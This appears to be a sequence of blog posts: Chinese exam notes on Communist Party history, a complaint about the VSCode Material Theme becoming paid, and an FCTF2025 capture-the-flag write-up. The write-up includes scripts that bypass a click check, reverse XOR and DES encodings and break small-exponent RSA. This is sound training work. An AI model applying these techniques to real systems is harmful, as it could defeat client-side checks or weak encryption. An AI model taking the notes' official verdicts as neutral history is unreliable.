主观原因：全党的马克思主义理论准备不足，理论素养不高，实践经验也很缺乏，不善于把马克思列宁主义与中国实际全面的、正确的结合起来
客观原因：共产国际的某些错误指导和我国对国际指示的机械执行，特别是左倾教条主义，披着马列主义的外衣，有很大的欺骗性

遵义会议#

1935 年 1 月 15 到 17 日，在贵州遵义，会议增选毛泽东为中央政治局常委，后成立由毛泽东，周恩来，王稼祥组成的三人小队，负责全军的军事行动。

意义：

遵义会议是党的历史上一个生死攸关的转折点，在最危急关头挽救了党、挽救了红军、挽救了中国革命。
这次会议事实上确立了毛泽东在党中央和红军的领导地位，开始确立以毛泽东为主要代表的马克思主义正确路线在党中央的领导地位，开始形成以毛泽东同志为核心的第一代中央领导集体
使中国共产党由幼稚走向成熟，开启了中国共产党独立自主解决中国革命实际问题的新阶段

《论持久战》#

1938 年 5 至 6 月，毛泽东发表论持久战讲演，批驳了亡国论、速胜论等错误观点，系统地阐明了持久战方针。日本是小国，发动的是侵略战争，在国际上失道寡助；中国是大国，进行的是反侵略战争，在国际上得道多助。“兵民是胜利之本”，因此最后胜利又将是属于中国的。

抗日战争将经过战略防御、战略相持、战略反攻三阶段。战略相持 阶段是最关键阶段。

论持久战是中国共产党领导抗日战争的纲领性文性，对全国抗战的战略指导产生了积极影响。

游击战的战略地位和作用#

八路军、新四军采取“基本是游击战，但不放松有利条件下的运动战”的作战方针。抗日游击战具有重要的战略地位和作用。
在战略防御阶段，从全局看，国民党正面战场的正规战是主要的，敌后的游击战是辅助的。作用：阻止了日军进攻，减轻正面战场压力，促使战争转入战略相持阶段。
在战略相持阶段，敌后游击战争成为主要的抗日作战方式。日军逐步将主要兵力用于敌后战场，以保持和巩固其占领地。作用：逐步改变敌强我弱的态势、为实⾏战略反攻准备条件。

论述题 4：抗日战争时期国共两党的地位和作用#

（1）国民党及其正面战场对抗战的胜利做出了重要贡献

国民党接受团结抗战的主张使全民族抗战得以实现；
抗战初期的国民党正面战场对日作战积极努力；
但抗战中、后期的蒋介石国民党实行“消极抗日、积极反共”的方针。
- 亲日派公开投降，汪伪政权建立
- 亲英美派消极抗战、积极反共
- 掀起三次反共高潮

（2）中国共产党是全民族抗战的中流砥柱

中国共产党的中流砥柱作用是中国人民抗日战争胜利的关键。中国共产党人以自己的政治主张、坚定意志、模范行动，支撑起全民族救亡图存的希望。

率先举起武装抗日的旗帜，制定全面的全民族抗战的路线即人民战争的路线和持久战的战略方针，为坚持抗战、争取胜利指明了方向。
开展独立自主的敌后游击战争，开辟和巩固、扩大抗日根据地，对坚持抗战、争取胜利发挥了伟大的战略作用。
采取正确的方针，坚持、巩固和扩大抗日民族统一战线，为坚持抗、争取胜利提供了重要的政治基础。
对抗日民主根据地的建设，勾画了未来新中国的蓝图。三三制的民主政权建设、减租减息发展生产、文化教育建设。
加强中国共产党的自身建设。马克思主义中国化命题的提出、延安整风运动和实事求是思想路线在全党确立。

论述题 5：中共土地政策演变（内容与意义）#

土地革命时期：打土豪，分田地
1. 依靠贫农、雇农，联合中农，限制富农，保护中小工商业者，消灭地主阶级。
2. 以乡为单位，按人口平均分配土地。抽多补少，抽肥补瘦。
抗日战争时期：减租减息，发展生产
1. 停止没收地主土地政策，实行减租减息政策，以减轻农民受到的封建剥削，提高抗日和生产的积极性。
2. 实行交租交息，联合地主阶级抗日。
解放战争时期：耕者有其田

1947 年 7 月至 9 月，西柏坡的全国土地会议制定和通过了《中国土地法大纲》，规定“废除封建性及半封建性剥削的土地制度，实行耕者有其田的土地制度”，是一个彻底反帝反封建的土地革命纲领。

近代中国的三种建国方案#

描述：
1. 法西斯主义建国方案：先由北洋军阀后由国民党统治集团代表，主张实行 大地主大资产阶级专政，使中国社会继续走 半殖民地半封建 的道路。国民党坚持“内战、卖国、独裁”的政策。
2. 资产阶级共和国方案：由某些中间派别或中间人士代表，主张建立 资产阶级共和国，使中国走上独立发展 资本主义 的道路。民主党派实行中间路线即“第三条道路”。
3. 人民共和国方案：由中国共产党代表，主张建立无产阶级领导的、各革命阶级联合专政的人民共和国，经过新民主主义逐步到达 社会主义和共产主义 的道路。共产党提出“和平、民主、团结”的方针。
结局：
1. 第一种方案被中国人民抛弃，其代表者的统治被推翻；
2. 第二种方案被实践证明在帝国主义时代的半殖民地半封建中国是 行不通 的，最后连其代表人物也转向接受中国共产党的领导；
3. 唯独 第三种方案赢得最广大人民群众的拥护和支持，因而夺取了新民主主义革命的伟大胜利。

三大法宝#

毛泽东指出：“统一战线，武装斗争，党的建设，是中国共产党在中国革命中战胜敌人的三个法宝，三个主要的法宝。”

建立广泛的统一战线
- 统一战线的主题是大团结大联合，根本职能是凝集人心、汇聚力量
- 建立广泛统一战线，首要的问题是分清敌友
- 坚持工人阶级及其政党的领导权，是巩固和扩大统一战线的关键
坚持革命的武装斗争
- 由于中国没有资产阶级民主制度，帝国主义和本国反动统治阶级凭借武装力量对人民实行独裁恐怖统治，革命只能以长期的武装斗争作为主要形式
- 中国的武装斗争实质上是 中国共产党领导的农民战争
- 必须建立一支在中国共产党绝对领导下的、具有严格纪律的、同人民群众保持亲密联系的新型人民军队
加强党的自身建设
- 着重从思想上建设党，把思想建设放在党的建设的首位，强调共产党员不仅要在组织上入党，更要在思想上入党，是中国共产党建设的一个突出特点。
- 党的理论建设是党的思想建设的根本
- 民主集中制是马克思主义政党的根本组织原则
- 理论联系实际、密切联系群众、批评与自我批评是中国共产党的三大优良作风

9. 中国社会主义建设#

过渡时期总路线#

1952 年酝酿，1953 年正式提出

一化三改（一体两翼）：社会主义工业化，对农业、手工业和资本主义工商业的社会主义改造

Quote

党在这个过渡时期的总路线和总任务，是要在⼀个相当长的时期内，逐步实现国家的社会主义工业化，并逐步实现国家对农业、对手工业和对资本主义工商业的社会主义改造

历史的 必然性：

社会主义工业化是国家独立富强的首要条件
资本主义力量弱小，发展困难，不可能称为中国工业起飞的基础
对个体农业进行社会主义改造，是保证工业发展、实现国家工业化的一个必要条件
当时的国际环境也促使中国选择社会主义。只有社会主义国家和争取民族独立的国家同情中国，只有苏联能够援助中国。

中共八大#

1956 年 9 月 15 日至 27 日，中国共产党第八次全国代表大会在北京举行

主要矛盾变化：人民对于经济文化迅速发展的需要同当前经济文化不能满足人民需要的状况之间的矛盾
主要任务：集中力量发展社会生产力，实现国家工业化，逐步满足人民日益增长的物质和文化需要
经济建设方针：既反保守又反冒进，在综合平衡中稳步前进

意义：

正确分析了国内局势和主要矛盾的变化
路线是正确的，提出的许多新方针和新设想是富于创造精神的

新中国成立后党对社会主要矛盾的表述

1949 年 3 月，党的七届二中全会：中国革命在全国胜利，并且解决了土地问题以后，中国还存在着两种基本的矛盾。第一种是国内的，即工人阶级和资产阶级的矛盾。第二种是国外的，即中国和帝国主义国家的矛盾
1956 年 9 月，党的八大：我们国内的主要矛盾，已经是人民对于建立先进的工业国的要求同落后的农业国之间的矛盾，已经是人民对于经济文化迅速发展的需要同当前经济文化不能满足人民需要的状况之间的矛盾。这一矛盾的实质，在我国社会主义制度已经建立的情况下也就是先进的社会主义制度同落后的社会生产力之间的矛盾
1981 年 6 月，党的十一届六中全会：在社会主义改造基本完成以后，我国所要解决的主要矛盾，是人民日益增长的物质文化需要同落后的社会生产之间的矛盾
2017 年 10 月，党的十九大：中国特色社会主义进入新时代，我国社会主要矛盾已经转化为人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾

10. 改革开放#

党的十一届三中全会#

1978 年 12 月 18 日至 22 日，党的十一届三中全会在北京召开

冲破长期“左”的错误的严重束缚，彻底否定“两个凡是”的错误方针，高度评价关于真理标准问题的讨论
决定从 1979 年 1 月起把全党的工作重心转移到社会主义现代化建设上来
提出了改革开放的任务，指出实现四个现代化是一场广泛、深刻的革命
强调要充分发扬民主，提出要实现民主制度化法律化，健全党的民主集中制，健全党规党法严肃党纪
强调要正确对待毛泽东的历史地位和毛泽东思想的科学体系，为坚持和发展毛泽东思想指明了方向

意义：

党的十一届三中全会的胜利召开，标志着中国共产党重新确立了马克思主义的思想路线、政治路线、组织路线，实现了新中国成立以来党的历史上具有深远意义的伟大转折，开启了我国改革开放和社会主义现代化建设新时期
全会作出实行改革开放的历史性决策，是基于对党和国家前途命运的深刻把握是基于对社会主义革命和建设实践的深刻总结，是基于对时代潮流的深刻洞察是基于对人民群众期盼和需要的深刻体悟

社会主义初级阶段#

党的十三大报告指出，我国正处在社会主义的初级阶段。

基本路线：领导和团结全国各族人民以经济建设为中心，坚持四项基本原则，坚持改革开放。自力更生艰苦创业，为把我国建设成为富强、民主、文明的社会主义现代化国家而奋斗。

四项基本原则：坚持社会主义道路，坚持人民民主专政，坚持共产党的领导，坚持马克思列宁主义、毛泽东思想

论述题 6：改革开放前后两个历史时期的相互关系（扫 P238 码）#

我们党领导人民进行社会主义建设，有改革开放前和改革开放后两个历史时期，这是两个相互联系又有重大区别的时期，但本质上都是我们党领导人民进行社会主义建设的实践探索。中国特色社会主义是在改革开放历史新时期开创的，但也是在新中国已经建立起社会主义基本制度并进行了二十多年建设的基础上开创的。正确认识这个问题，要把握三个方面。

一是，如果没有 一九七八 年我们党果断决定实行改革开放，并坚定不移推进改革开放，坚定不移把握 改革开放 的正确方向，社会主义中国就不可能有今天这样的大好局面，就可能面临严重危机，就可能遇到像苏联、东欧国家那样的亡党亡国危机。同时，如果没有 一九四九年建立新中国并进行社会主义革命和建设，积累了重要的思想、物质、制度条件，积累了正反两方面经验，改革开放也很难顺利推进。

二是，虽然这两个历史时期在进行社会主义建设的思想领导、方针政策、实际工作上有很大差别，但两者决不是彼此割裂的，更不是根本对立的。我们党 在社会主义建设实践中提出了许多正确主张，当时没有真正落实，改革开放后得到了真正贯彻，将来也还是要坚持和发展的。马克思早就说过：“人们自己创造自己的历史，但是他们并不是随心所欲地创造，并不是在他们自己选定的条件下创造，而是在直接碰到的、既定的、从过去承继下来的条件下创造。”

三是，对改革开放前的历史时期要正确评价，不能用改革开放后的历史时期否定改革开放前的历史时期，也不能用改革开放前的历史时期否定改革开放后的历史时期。改革开放前的社会主义实践探索为改革开放后的社会主义实践探索积累了条件，改革开放后的社会主义实践探索是对前一个时期的 坚持、改革、发展。对改革开放前的社会主义实践探索，要坚持实事求是的思想路线，分清主流和支流，坚持真理，修正错误，发扬经验，吸取教训，在这个基础上把党和人民事业继续推向前进。

（这些不需要全背，保留一半即可）

VSCode Material Theme 转生了？

Mon, 12 May 2025 23:46:58 GMT

今天翻阅了 VSCode 的主题市场，发现之前饱受争议的 Material Theme 被标记为弃用。开发者要求用户转为 Vira Theme

然而，这个主题不是免费的。如果需要使用该主题，有一个 7 天试用，之后需要支付一次性授权费 8 欧元（约 64 人民币）。作者甚至贴心地将微信支付和支付宝放在支付方式的前两位：

Vira 的支付界面

我就是不想付费呢

主页有一个 “Cannot afford it?”，说“觉得自己出于某些原因不能承担费用”，可以联系他们。而联系页面有一组说明：“请仅使用此表单查询信息或举报在互联网上发现的任何未经授权的 Vira 主题副本。任何其他主题都将被忽略。”

在 VSCode Marketplace 上，大量对该主题的恶评都来自该主题的收费政策，特别是作者将之前至少免费的 Material Theme 标记为弃用，且直接完全移除 Material Theme 的信息，直接要挟用户使用 Vira Theme。

如果你知道几个月前关于 Material Theme 的破事，应该明白这作者的德行和目的。对于开源转闭源的质疑，作者甚至回怼质疑者，要求 TA “重新评估您的标准，并可能重新考虑您的评论本身”

面对这些质疑，作者要么不予理睬，要么硬气回复：“有 7 天试用期。”

当然也有人反抗差评，认为付费是值得的，作者的付出应该得到回报，并称赞其制作的颜色主题对他们工作的助力。

Note

“你可能会遇到很多克隆版本，但它们都不是由原始创作者制作的，也没有得到维护。它们缺少了原始 Material Theme 中所蕴含的爱、关怀和热情。” (Vira Theme) 所以呢？删除开源版本库？不顾其他九十余位贡献者的想法，强行占有他们的贡献代码？还是没有预先告知下随意更换 Apache 2.0 许可证为闭源许可证？那么你将开源社区的“爱、关怀和热情”置于何处？而现在呢？更是直接将 Material Theme 的 GitHub Repo 直接替换为 Vira Theme！¹ 开发者宣扬“Material 已死，请用 Vira”，并且将 Material Theme 挫骨扬灰，仿佛只需要改头换面就可以和过去切割。我看不到所谓的“爱、关怀和热情”，只看到了一位急于从 Material Theme 身上榨取利益的开发者。

但正如一些评论所言：这只是一个编辑器主题而已。社区内有很多其他优秀的主题，并且是免费或开源的。

Example

It’s wild to me that someone would choose to ruin their reputation over something as low-effort as this.

We’re talking about a collection of themes—not some high-maintenance service, not some complex backend to keep running—just themes. It’s been free for eight years, and now suddenly it’s locked behind a subscription paywall? I believe everyone agrees either a donation button or enabling sponsorships would have been a preferable alternative than trying to make a profit off something that’s always been free.

This feels greedy and tone-deaf, and is a disappointment to the VSCode community. This isn’t innovation—it’s a cash grab, and it’s a shame to see something that earned goodwill over eight years throw it all away for a few bucks.

The dev has nefarious intentions with this theme with how the roadmap has completely fallen apart by blocking the access to the older (free) version and forcing all users to a Paid and Subscription based model. This move feels less like supporting development and more like exploiting users.

The dev could have easily enabled sponsorships and donations on the original extension to keep the free version alive but they instead chose this aggressive, unethical route. It’s frustrating to see someone prioritize quick money over the community especially for some simple CSS.

至于我？很早就不再使用 Material Theme 了（因为看厌了），爆出闭源和收费的瓜后更加不可能选择它。我现在正在使用 Catppuccin 系列。归根结底，这只是一个颜色主题。一个赏心悦目的配色可能提高工作效率，但付费的意愿就不高了。

如果你需要 Material Theme，这里有一个比较有名的 fork: Material Theme (But I Won’t Sue You)

Note

界定一个项目是否开源，最重要的是它的许可证。许可证声明了此项目的利用权利以及限制，有些许可证还会要求填写项目的版权说明。

将源码公开至公共平台如 GitHub 并不自动赋予“开源”属性。如果项目使用不合适的许可证（包括专有许可、不建议用于软件的 CC 协议或其他不符合 The Open Source Definition 的许可证）或者未声明使用许可证，则应认为作者并未完全开放“开源”所需权利，即此项目并未“开源” (opensource)，只能叫做“源码可见” (source-avaliable)。

很多时候，“源码可见”的项目也遵循开源规则，但是通过附加条款限制了应授予的权利。如果附加条款和项目使用的许可证不冲突，就需要遵循项目的许可说明。

流行的 OSI 认可开源许可证可见：OSI Approved Licenses | Popular/Strong Community

Footnotes#

Material Theme 的仓库链接已经重定向为 vira-assets ↩

FCTF2025 Personal Writeup

Sun, 04 May 2025 10:32:43 GMT

打 CTF 一定要用 Windows！✍️

ROIS 的恩情还不完 ✋😭🤚

Info

Writer: W4t3rm310nabc from Hacklz Team

banner 来自 bilibili@Sth_Sunly

小鲸鱼我爱你喵 😍

DeepSeek 得了 MVP！我是躺赢狗！

话说今年 Web 这么难吗，我队两位 Webers 两天竟只做出一题

Official Writeup

福州大学第九届网络信息安全竞赛官方WriteUp

Web - 签到？#

Background

Wells写了个签到系统，人都到了但人都没到

请协助Wells排查一下系统，作为奖励只要你签到上了就可以拿到flag了

原始解者与思路口述：SZ_KC

F12 开启开发者工具，会看到 HTML 里一个很长的注释：

1
// 如果是处理点击坐标的请求
2
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['clicks'])) {
3
    $clicks = json_decode($_POST['clicks'], true);
4

5
    if (!is_array($clicks) || count($clicks) !== 3) {
6
        echo json_encode(['status' => 'error', 'message' => '数据格式不正确']);
7
        exit;
8
    }
9

10
    // 获取图片尺寸
11
    $imagePath = $_SERVER['DOCUMENT_ROOT'] . '/img/lock.jpg';
12
    if (file_exists($imagePath)) {
13
        $imageSize = getimagesize($imagePath);
14
        $imageWidth = $imageSize[0];
15
        $imageHeight = $imageSize[1];
16

17
        // 定义正确的点击区域（以图片百分比表示）
18
        // 格式: [x百分比, y百分比, 允许误差百分比]
19
        $correctAreas = [
20
            [25, 30, 5],  // 第一个点击区域
21
            [50, 60, 5],  // 第二个点击区域
22
            [75, 40, 5]   // 第三个点击区域
23
        ];
24

25
        $allCorrect = true;
26

27
        // 检查所有点击是否都在正确区域内
28
        for ($i = 0; $i < 3; $i++) {
29
            // 获取点击的相对坐标（百分比）
30
            $xPercent = floatval($clicks[$i]['xPercent']);
31
            $yPercent = floatval($clicks[$i]['yPercent']);
32

33
            // 计算正确区域的百分比位置
34
            $correctXPercent = $correctAreas[$i][0];
35
            $correctYPercent = $correctAreas[$i][1];
36
            $errorMarginPercent = $correctAreas[$i][2]; // 误差范围（百分比）
37

38
            // 计算点击位置与正确位置的距离（百分比）
39
            $distancePercent = sqrt(pow($xPercent - $correctXPercent, 2) + pow($yPercent - $correctYPercent, 2));
40

41
            if ($distancePercent > $errorMarginPercent) {
42
                $allCorrect = false;
43
                break;
44
            }
45
        }
46

47
        if ($allCorrect) {
48
            // 所有点都正确
49
            echo json_encode(['status' => 'success', 'message' => '解锁成功！正在跳转...']);
50
        } else {
51
            // 至少有一个点不正确
52
            echo json_encode(['status' => 'error', 'message' => '解锁图案不正确，请重试']);
53
        }
54
    } else {
55
        echo json_encode(['status' => 'error', 'message' => '找不到锁定图片']);
56
    }
57
    exit;
58
}

展开收起

根据给出的坐标写模拟点击代码：

1
// 获取图片元素
2
const lockImage = document.getElementById("lockImage");
3
const rect = lockImage.getBoundingClientRect();
4
// 定义要模拟点击的 3 个点（百分比坐标）
5
const mockClicks = [
6
  { xPercent: 25, yPercent: 30 }, // 第 1 个正确点
7
  { xPercent: 50, yPercent: 60 }, // 第 2 个正确点
8
  { xPercent: 75, yPercent: 40 }, // 第 3 个正确点
9
];
10
// 模拟点击
11
mockClicks.forEach((point) => {
12
  // 计算实际像素坐标
13
  const x = (point.xPercent / 100) * rect.width;
14
  const y = (point.yPercent / 100) * rect.height;
15
  // 创建并触发点击事件
16
  const clickEvent = new MouseEvent("click", {
17
    clientX: rect.left + x,
18
    clientY: rect.top + y,
19
    bubbles: true,
20
    cancelable: true,
21
  });
22
  lockImage.dispatchEvent(clickEvent);
23
});
24
// 自动解锁
25
document.getElementById("submitBtn").click();

展开收起

在控制台输入代码，回车，即可跳转到含有 flag 的页面。

flag 为 flag{c6359246-9276-454f-8404-df974d1ee877}

Reverse - easy re#

Background

题目描述：欢迎来到FCTF，速来拿分！

手速题，基本没有什么加密的地方。

DIE 查一下：

无壳，拖到 IDA 反编译：

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  char Str[100]; // [esp+58h] [ebp-74h] BYREF
4
  size_t i; // [esp+BCh] [ebp-10h]
5

6
  __main();
7
  scanf("%s", Str);
8
  for ( i = 0; i < strlen(Str); ++i )
9
    Str[i] ^= i;
10
  if ( !strcmp(Str, arr) )
11
    printf("You are right!");
12
  else
13
    printf("wrong!");
14
  return 0;
15
}

单纯的异或加密。点一下 arr，转换到 BYTE 类型数组：

1
unsigned char _arr[100] = {
2
    0x46, 0x42, 0x56, 0x45, 0x7F, 0x4C, 0x52, 0x58, 0x41, 0x5A, 0x55, 0x4E, 0x4D, 0x5E, 0x57, 0x50,
3
    0x47, 0x5E, 0x40, 0x58, 0x35, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
4
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
5
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
6
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
7
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
8
    0x00, 0x00, 0x00, 0x00
9
};

写出解密函数（甚至伪代码可以直接用）：

1
#include <stdio.h>
2
#include <string.h>
3

4
int main()
5
{
6
    unsigned char _arr[100] = {
7
    0x46, 0x42, 0x56, 0x45, 0x7F, 0x4C, 0x52, 0x58, 0x41, 0x5A, 0x55, 0x4E, 0x4D, 0x5E, 0x57, 0x50,
8
    0x47, 0x5E, 0x40, 0x58, 0x35, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
9
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
10
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
11
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
12
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
13
    0x00, 0x00, 0x00, 0x00
14
    };
15
    for (int i = 0; i < strlen(_arr); ++i ){
16
        _arr[i] ^= i;
17
        printf("%c", _arr[i]);
18
    }
19
    return 0;
20
}

展开收起

得到 flag：FCTF{IT_IS_EASY_WORK!}

Mobile - androidRe1#

这道题的最大阻碍之一竟然是环境配置……

本题的工具主要为 jadx 和一个安卓模拟器（如果你有用电脑玩明日方舟的话，应该是已经有一个了）

在模拟器中安装并打开提供的 click.apk，会显示：

我勒个豆！竟然要点 20220422 下才有 flag，还有退出清零！我才不干。

打开 jadx，选择 click.apk，打开“文本搜索”窗口（大放大镜图标），搜索 20220422，得到：

只有一处代码用到了这个数字，点击跳转：

1
if (this$0.ccccccccc() == 20220422) {
2
            tv.setText("flag{" + this$0.decrypt("whyysqwmstoryhzcontinues") + "}");
3
        }

下面就是我们要的 flag 了（加密后的）。

点击 decrypt 跳转：

1
public final String decrypt(String str) throws IllegalBlockSizeException, BadPaddingException {
2
    byte[] bytes;
3
    byte[] bytes2;
4
    Object ddd = null;
5
    try {
6
        Class<?> a = Class.forName(d("amF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0"));
7
        Method b = a.getMethod(d("Z2V0SW5zdGFuY2U="), String.class);
8
        Object c = b.invoke(null, d("TUQ1"));
9
        Method e = a.getMethod(d("dXBkYXRl"), byte[].class);
10
        e.invoke(c, key0.getBytes());
11
        Method f = a.getMethod(d("ZGlnZXN0"), new Class[0]);
12
        byte[] k = (byte[]) f.invoke(c, new Object[0]);
13
        Class<?> aa = Class.forName(d("amF2YXguY3J5cHRvLnNwZWMuREVTS2V5U3BlYw=="));
14
        Constructor<?> desKeySpecConstructor = aa.getConstructor(byte[].class);
15
        Object dsk = desKeySpecConstructor.newInstance(k);
16
        Class<?> bb = Class.forName(d("amF2YXguY3J5cHRvLlNlY3JldEtleUZhY3Rvcnk="));
17
        bytes = null;
18
        try {
19
            Method cc = bb.getMethod(d("Z2V0SW5zdGFuY2U="), String.class);
20
            Object keyFactory = cc.invoke(null, "DES");
21
            Method dd = bb.getMethod(d("Z2VuZXJhdGVTZWNyZXQ="), KeySpec.class);
22
            Object key = dd.invoke(keyFactory, dsk);
23
            Class<?> ee = Class.forName(d("amF2YXguY3J5cHRvLnNwZWMuSXZQYXJhbWV0ZXJTcGVj"));
24
            Constructor<?> ff = ee.getConstructor(byte[].class);
25
            Object iv = ff.newInstance(iv0.getBytes());
26
            Class<?> gg = Class.forName(d("amF2YXguY3J5cHRvLkNpcGhlcg=="));
27
            Method hh = gg.getMethod(d("Z2V0SW5zdGFuY2U="), String.class);
28
            Object ddd2 = hh.invoke(null, d("REVTL0NCQy9QS0NTNVBhZGRpbmc="));
29
            try {
30
                Method ii = gg.getMethod(d("aW5pdA=="), Integer.TYPE, Key.class, AlgorithmParameterSpec.class);
31
                ii.invoke(ddd2, 1, key, iv);
32
                Method jj = gg.getMethod(d("ZG9GaW5hbA=="), byte[].class);
33
                bytes2 = (byte[]) jj.invoke(ddd2, str.getBytes());
34
            } catch (Exception e2) {
35
                e = e2;
36
                ddd = ddd2;
37
                e.printStackTrace();
38
                bytes2 = bytes;
39
                ByteString byteString = ByteString.of(bytes2);
40
                return byteString.hex();
41
            }
42
        } catch (Exception e3) {
43
            e = e3;
44
            ddd = null;
45
        }
46
    } catch (Exception e4) {
47
        e = e4;
48
        bytes = null;
49
    }
50
    ByteString byteString2 = ByteString.of(bytes2);
51
    return byteString2.hex();
52
}

展开收起

太长不看，让 DeepSeek 帮忙，发现解密缺少 key0 和 iv0。搜索一下 key0，结果 iv0 也出来了：

1
private static String key0 = "82305002";
2
private static String iv0 = "82505002";

DeepSeek 生成的解密脚本：

1
from Crypto.Cipher import DES
2
from Crypto.Hash import MD5
3
from Crypto.Util.Padding import pad
4
import binascii
5

6
# Given values
7
key0 = "82305002"
8
iv0 = "82505002"
9
plaintext = "whyysqwmstoryhzcontinues"  # This is encrypted in the original code
10

11
# Step 1: Compute MD5 of key0 (16 bytes)
12
md5 = MD5.new()
13
md5.update(key0.encode())
14
md5_digest = md5.digest()
15

16
# Step 2: Take first 8 bytes for DES key
17
des_key = md5_digest[:8]  # DES key must be 8 bytes
18

19
# Step 3: Use first 8 bytes of iv0 for IV
20
iv = iv0.encode()[:8]  # IV must be 8 bytes
21

22
# Step 4: Encrypt the plaintext (DES/CBC/PKCS5Padding)
23
cipher = DES.new(des_key, DES.MODE_CBC, iv)
24
padded_plaintext = pad(plaintext.encode(), 8)  # PKCS5 padding
25
ciphertext = cipher.encrypt(padded_plaintext)
26

27
# Step 5: Get hex representation of ciphertext
28
ciphertext_hex = binascii.hexlify(ciphertext).decode()
29

30
# The flag is "flag{" + ciphertext_hex + "}"
31
flag = f"flag{{{ciphertext_hex}}}"
32
print(flag)

展开收起

执行后得到 flag：flag{9a2165f588d8cc5e86103e58bdbbd997cef18cc69cab1136a30147e3bbe6fbfd}

Crypto - signin_rsa#

Background

机智的你可以成功signin吗

作为一名 Re 新手，我自然是不懂 RSA 的（说得好像你解出来了 encrypt 和 Tree 似的）

不过给 DeepSeek 读了发现有戏：

1
from Crypto.Util.number import long_to_bytes # 安装 pycryptodome
2
from gmpy2 import iroot  # 如果安装失败，改用 libnum.nroot
3

4
# Given values
5
n = 63391473280664441274904200586447632651254701180424158427108281651693928841226111518712585495312617412779821462204588428065986005376953783373564926106424797989701648588541831740191002281021705190341030101189048073915563206351313513842348269859235277579119059936460754505010643126116092602365529175094781120103
6
c1 = 4104695764377959780604501077442202266071223727138597085236828687830804860615462560175600544757443131080359063292189768185543992762611748056543485377257384749425514971210253333516944369981180889484277814771362680422755584410126938813918977971380084864154953125
7
hint2 = 204105495489668868091538015576189171569873657713403681343766254180158189896024
8
c2 = 28121558131340982474041738298374018159696174865084105786440297339340785088430587628834203876791752975481488678585552540372105609136359567796041061743937883984968776223417145187563869555955865451402962589066805092577240903705119391097879877855341243248105717369410705538761074189119187539207186087814982669836
9
hint1 = 189568292591813079898832307494711802345451486761183059811078473781028969917672
10

11
# Step 1: Calculate a + b
12
sum_ab_squared = hint1 + hint2
13
sum_ab, exact = iroot(sum_ab_squared, 2)
14
if not exact:
15
    print("Error: hint1 + hint2 is not a perfect square.")
16
    exit()
17

18
# Step 2: Calculate a and b
19
a = hint1 // sum_ab
20
b = hint2 // sum_ab
21

22
# Verify a and b
23
if a * sum_ab != hint1 or b * sum_ab != hint2:
24
    print("Error: Calculated a and b do not match hints.")
25
    exit()
26

27
print(f"[+] Found a = {a}, b = {b}")
28

29
# Step 3: Small exponent attack (e=3)
30
# Check if m1^3 < n (no modulo operation)
31
m1, exact = iroot(c1, 3)
32
if not exact:
33
    print("Error: c1 is not a perfect cube.")
34
    exit()
35

36
# Step 4: Verification
37
m2_calculated = a * m1 + b
38
c2_calculated = pow(m2_calculated, 3, n)
39
if c2_calculated != c2:
40
    print("Error: Verification failed. m1 may be incorrect.")
41
    exit()
42

43
# Step 5: Convert m1 to flag
44
flag = long_to_bytes(m1)
45
print(f"[+] Recovered flag: {flag.decode()}")

展开收起

输出：

Terminal window

1
Found a = 302132503208700208393770833389777081577, b = 325301786642820377107162010542704820159
2
Verification successful!
3
Recovered flag: b'RkNURntXZWxjMG0zX21ZX1JTQTAxISEhfQ=='

RkNURntXZWxjMG0zX21ZX1JTQTAxISEhfQ== 是一个明显的 Base64 密文。用 CyberChef 烹一下，得到 flag：FCTF{Welc0m3_mY_RSA01!!!}

Reverse - Tree#

Tip

本题为赛后复现，比赛过程中未解出。其实很简单，不要被吓到了。

Background

土豆哥表示一把梭~ （作者注：贞德是一把梭 TAT）

DIE 查一下：

无壳 32 位，拖 IDA，跳到主函数：

1
int sub_411C00()
2
{
3
  int result; // eax
4
  char v1; // [esp+0h] [ebp-22Ch]
5
  char v2; // [esp+0h] [ebp-22Ch]
6
  int i; // [esp+D0h] [ebp-15Ch]
7
  char Str1[108]; // [esp+DCh] [ebp-150h] BYREF
8
  char Str[108]; // [esp+148h] [ebp-E4h] BYREF
9
  char Str2[108]; // [esp+1B4h] [ebp-78h] BYREF
10
  int v7; // [esp+220h] [ebp-Ch]
11

12
  __CheckForDebuggerJustMyCode(&unk_41C029);
13
  v7 = sub_41127B();
14
  strcpy(Str2, "GAPNkFl^PJGQJ_YHEEx~d");
15
  j_memset(&Str2[22], 0, 0x4Eu);
16
  sub_4110E1("请输入 flag: ", v1);
17
  sub_411037("%s", (char)Str);
18
  sub_411122(Str, v7, (int)Str1);
19
  if ( !j_strcmp(Str1, Str2) )
20
    result = sub_4110E1(asc_417B60, v2);
21
  else
22
    result = sub_4110E1(asc_417B6C, v2);
23
  for ( i = 0; i < 30; ++i )
24
  {
25
    free(*(&Block + i));
26
    result = i + 1;
27
  }
28
  return result;
29
}

展开收起

如果只用静态分析结果去问 AI，又是二叉树又是 DFS 的，看不懂啦😢

